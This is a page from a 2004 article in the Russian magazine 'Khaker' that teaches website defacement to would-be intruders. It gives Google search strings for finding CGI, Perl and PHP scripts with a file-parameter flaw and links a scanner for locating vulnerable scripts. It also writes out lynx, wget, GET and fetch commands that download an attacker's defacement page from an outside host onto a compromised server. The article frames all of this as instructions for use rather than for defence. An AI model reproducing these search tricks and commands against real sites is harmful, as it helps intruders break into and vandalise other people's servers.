Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #70, ОКТЯБРЬ 2004 г.

Дефейс по-правильному!

Докучаев Дмитрий aka Forb

Хакер, номер #070, стр. 070-060-4


Обычно хакер страдает манией дефейса около года. Если человек обладает целеустремленностью, он обязательно заинтересуется искусством локального взлома. Когда это произойдет, он ни за что не поменяет главную страницу сайта. Взломщик будет искать пути получения root-привилегий, создавать хакерский плацдарм для вражеских флуд-ботов и т.п.

Искусство поиска

Как я уже сказал, любой скрипткидис начинает с поиска бажного сайта. Для этого существует целых два приема. Вкратце расскажу о каждом из них.

Первый заключается в использовании поисковых машин. На мой взгляд, лучшей поисковой системы, чем Google, еще не придумали. Поэтому стоит пользоваться только его услугами. В качестве поисковой строки задавай нечто похожее на filetype:cgi filename=. Эта строчка поможет найти бажный CGI скрипт с некорректным параметром open(). Как ты понял, подстроку filename можно заменить на слово file, article и т.п. Если ты задашь параметр html, то увидишь сценарии, подключающие статические html-документы. Это также очень полезно. Не забывай, что перловые скрипты часто имеют расширение .pl, их тоже нужно проверить на баги. Если хочешь найти уязвимый php-сценарий, используй директиву filetype:php, а также кейворд html. Когда есть желание отдефейсить сайт из определенной страны, на помощь приходит конструкция site:домен. Все настройки Гугла ты можешь посмотреть на странице www.google.ru/preferences?hl=ru. И еще одна поисковая хитрость: когда скрипткидису становится известно о баге в движке, он ищет этот движок по всему инету, набрав в строке поиска его название и релиз.

Второй способ заключается в сканировании. Существует масса сканеров WWW-каталогов на предмет бажных сценариев. Один из них - ces.pl - перловая утилита, помогающая определить местоположение дырявого сценария (http://kamensk.net.ru/forb/1/x/autoroot/ces.tar.gz). Необходимо лишь своевременно обновлять базу сканера при помощи сайтов, посвященных безопасности.

Синтаксические правила

Каждая программа-качалка имеет свой синтаксис. Любой скрипткидис обязан знать его, чтобы успешно сливать подложные документы из темного уголка Сети. Посмотри и запомни синтаксис шести качалок, которыми аплоадится хакерский index.html.

Lynx: lynx -source "http://hack.narod.ru/deface/index.html" > /tmp/deface/index.html

Links: аналогично Lynx.

Wget: wget -O /tmp/deface/index.html http://hack.narod.ru/deface/index.html

GET: GET http://hack.narod.ru/deface/index.html > /tmp/deface/index.html

Fetch: fetch -o /tmp/deface/index.html http://hack.narod.ru/deface/index.html

Назад на стр. 070-060-3  Содержание  Вперед на стр. 070-060-5